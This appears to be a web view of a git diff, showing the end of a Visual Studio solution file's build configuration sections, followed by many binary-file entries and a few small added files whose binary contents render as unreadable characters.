{D6FB88D9-0088-4805-BE51-17C480843B68}.Release|Any CPU.ActiveCfg = Release|Win32
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Release|x64.ActiveCfg = Release|x64
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Release|x64.Build.0 = Release|x64
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D6FB88D9-0088-4805-BE51-17C480843B68}.Release|x86.Build.0 = Release|Win32
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Debug|x64.Build.0 = Debug|x64
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Release|Any CPU.ActiveCfg = Release|Win32
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Release|x64.ActiveCfg = Release|x64
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Release|x64.Build.0 = Release|x64
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BE002943-B7DD-4A8B-9F88-4D630ADE10FD}.Release|x86.Build.0 = Release|Win32
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Debug|x64.Build.0 = Debug|x64
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Debug|x86.Build.0 = Debug|Win32
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Release|Any CPU.ActiveCfg = Release|Win32
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Release|x64.ActiveCfg = Release|x64
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Release|x64.Build.0 = Release|x64
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Release|x86.ActiveCfg = Release|Win32
|
||||
{1FF4BA74-0395-460C-A5F1-691C840BB9EF}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {D3E08A4F-3D15-4642-9378-0C91D6195B4C}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
‡ù2LwîSŸDãb¨s4ªÅhˆ,Ô&´ À¿óÁr
|
|
@ -0,0 +1 @@
|
|||
0ü<£ª9¢-d²>; <U<05>³<EFBFBD>–ý@Mv[I
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
<EFBFBD>G<>^<5E>b<EFBFBD>O<EFBFBD><4F>@<1A><>Xi<58><69>Gr<47>&<26>}<7D>I<EFBFBD><49>B<EFBFBD>U
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1 @@
|
|||
Osتبيّاs<D8A7><73><EFBFBD>L¤Mجد<D8AC>ةز<D8A9>hْ `<60>b<17>R
|
|
@ -0,0 +1 @@
|
|||
h5俲<EFBFBD>鏵[<5B>=1𡟟9賓Q'𠿪p碗𡛧之S
|
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue